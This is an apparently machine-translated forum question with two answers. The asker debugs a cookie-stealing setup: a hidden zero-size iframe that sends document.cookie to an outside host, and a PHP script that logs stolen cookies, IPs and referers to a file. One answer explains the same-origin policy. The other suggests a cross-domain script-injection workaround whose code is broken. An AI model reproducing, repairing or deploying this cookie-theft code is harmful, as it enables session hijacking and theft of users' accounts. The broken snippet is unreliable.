将document.cookie从单独域上的iframe内传递到php

时间:2011-08-19 17:23:28

标签: php javascript parameters

<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>

然后是php文件:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>

logs.html记录除cookie以外的所有内容 - 为什么?我测试了我的网站正在通过调用标签中的document.cookie来正确地发送cookie,所以其他的东西已经出现了。 请指出我的愚蠢!

2 个答案:

答案 0 :(得分:0)

我认为这是因为相同的原产地政策。

否则偷走别人的饼干太容易了:)

http://en.wikipedia.org/wiki/Same_origin_policy

答案 1 :(得分:0)

你为什么要这样做?无论如何,我遇到了这个链接:http://www.15seconds.com/issue/971108.htm很久以后..看看它对你有用吗<​​/ p>

或者您可以使用js尝试如下:

<script type="text/javascript">
   var script=document.createElement('script');
   script.setAttribute("type","text/javascript");
   script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
   document.getElementsByTagName("head")[0].appendChild(newfile);
 </script>

页面xxx.com/ajaxHandler?getCookie可以这样做:

 passCookie({'name':'mycookie', 'value':'myvalue'});